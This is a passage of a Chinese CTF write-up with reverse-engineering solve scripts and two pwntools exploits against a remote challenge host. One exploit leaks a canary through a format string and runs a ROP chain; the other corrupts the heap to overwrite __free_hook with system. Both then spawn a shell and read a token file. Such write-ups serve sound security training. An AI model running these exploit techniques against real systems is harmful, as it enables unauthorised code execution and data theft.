接着根据调试解出交叉引用的byte_42024Cfrom z3 import * enc = [0x0e,0x5D, 0x7D, 0x7D, 0x5D, 0x4E, 0x4E, 0x4E, 0x5D, 0x7D, 0x6B, 0x4B, 0x5D, 0x5D, 0x4E, 0x4E, 0x59, 0x59, 0x59, 0x59, 0x6B, 0x5D, 0x53, 0x24, 0x7B, 0x34, 0x07, 0x49, 0x01, 0x1B, 0x23, 0x27, 0x7E, 0x35, 0x3F, 0x12, 0x1B, 0x29, 0x32, 0x09, 0x16, 0x12, 0x60, 0x4A] sb = [BitVec(f"sb[{i}]",8) for i in range(45)] s = Solver() for i in range(1,44): s.add(sb[i-1] & 0xe0 | sb[i] & 0x1f == enc[i] print(s.check()) print(s.model()) 接着把解出来的数据和那个地图迷宫路径异或path = [0] *44 path[43] = 10 path[0] = 64 path[22] = 51 path[13] = 93 path[20] = 75 path[33] = 53 path[42] = 64 path[14] = 78 path[5] = 78 path[3] = 93 path[32] = 62 path[34] = 31 path[29] = 59 path[17] = 89 path[38] = 18 path[16] = 89 path[37] = 41 path[26] = 71 path[39] = 9 path[2] = 125 path[9] = 125 path[11] = 75 path[30] = 35 path[31] = 103 path[27] = 9 path[21] = 93 path[8] = 125 path[19] = 121 path[35] = 18 path[12] = 93 path[4] = 93 path[28] = 1 path[40] = 22 path[23] = 100 path[24] = 59 path[10] = 75 path[1] = 125 path[25] = 20 path[36] = 59 path[41] = 114 path[15] = 78 path[7] = 78 path[6] = 78 path[18] = 89 flag = "" maze = "dWWwwdddWWaawwddsssSaw" for i in range(44): flag += chr(path[i] ^ ord(maze[i % len(maze)])) print(flag) D0g3{Y0u^Can=So1ve_it!W3lc0me_t0_The_Maze!!} 四、localhost:2333解开UPX壳后,进入MainVM 观察虚拟机结构,发现这是一个基于栈的虚拟机解题exp如下enc = [0x9b, 0xaa, 0xcb, 0xf5, 0x8a, 0xc8, 0xa1, 0x89, 0xe0, 0xa5, 0x7e, 0x10, 0x3a, 0x0d, 0x31, 0x75, 0x2d, 0x7e, 0x77, 0x64, 0x4a, 0x2b, 0xeb, 0xac, 0x08, 0x84, 0x2b, 0x24, 0x24, 0xaf] xor_key = [0x47, 0x4f, 0x4c, 0x40, 0x6e, 0x44, 0x7e, 0x21, 0x21, 0x21] magic_key = 0xff flag = "" for i in range(0, 10): if i == 0: magic_key = 0xff else: magic_key = enc[i - 1] raw = (enc[i] + i ^ magic_key) flag += chr(raw) for i in range(10, 20): flag += chr(enc[i] ^ xor_key[i - 10]) # >> 3 << 5 for i in range(20, 30): flag += chr(enc[i] << 3 & 0xf8 | (enc[i] >> 5) & 0xff) print(flag) d0g3{Go1aN9_vM_1S_VERY_e@$Y!!} 0x05 Pwn一、ezstackfrom pwn import * context.log_level = "debug" i = 0 canary = 11 p = remote("47.108.195.119", 20113) p.sendline("Gerontic_D1no") p.sendline("68") p.recv() p.sendline("%11$p,%17$p") p.recvuntil("0x") canary = u64(p.recv(16).decode("hex")[::-1]) p.recvuntil("0x") prog_base = u64(p.recv(12).decode("hex")[::-1].ljust(8,"\x00")) - 0x9dc success("prog => " + hex(prog_base)) p.sendline(cyclic(0x18) + p64(canary) + cyclic(8) + p64(prog_base + 0xb03) + p64(prog_base + 0xb24)+ p64(prog_base + 0x810) ) p.sendline("echo hello && cat sky_token") p.recvuntil("hello\n") token = p.recv() p.sendline("exit") success("token => " + token) p.send(token) p.interactive() 二、off-by-nullfrom pwn import * context.log_level = "debug" p = remote("47.108.195.119", 20182) # p = process(['../pwn'], env={'LD_PRELOAD': '/home/cshi/pwn/libc.so.6'}) so = ELF('../libc.so.6') p.sendline("Gerontic_D1no") p.sendline("68") p.recvuntil("please input a str:") p.sendline('N0_py_1n_tHe_ct7') def choice(c): p.recvuntil(">") p.sendline(str(c)) def add(index, size): choice(1) p.recvuntil('?') p.sendline(str(index)) p.recvuntil("?") p.sendline(str(size)) def show(index): choice(2) p.recvuntil("?") p.sendline(str(index)) def edit(index, content): choice(3) p.recvuntil("?") p.sendline(str(index)) p.recvuntil(":") p.send(content) def free(index): choice(4) p.recvuntil("?") p.sendline(str(index)) add(0, 0x4f0) add(1, 0x18) add(2, 0x4f0) add(3, 0x10) free(0) add(0, 0x4f0) show(0) leak = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) libc_base = leak - 96 - 0x10 - so.sym['__malloc_hook'] success("libc_base => " + hex(libc_base)) free(0) edit(1, b'a' * 0x10 + p64(0x500 + 0x20)) free(2) add(0, 0x4f0) add(4, 0x10) free(4) edit(1, p64(libc_base + so.sym['__free_hook'])) add(5, 0x10) edit(5, '/bin/sh\x00') add(6, 0x10) edit(6, p64(libc_base + so.sym['system'])) free(5) sleep(0.1) p.sendline("echo hello && cat sky_token") p.recvuntil("hello\n") token = p.recv() p.sendline("exit") success("token => " + token) p.sendline("5") sleep(1) p.send(token) p.interactive() p.interactive()其他参考文献:https://mp.weixin.qq.com/s/vC2bgJlYfA8wzXcmQFynlAhttps://blog.csdn.net/weixin_52091458/article/details/121591421from: https://www.anquanke.com/post/id/260900
创建帐户或登录后发表意见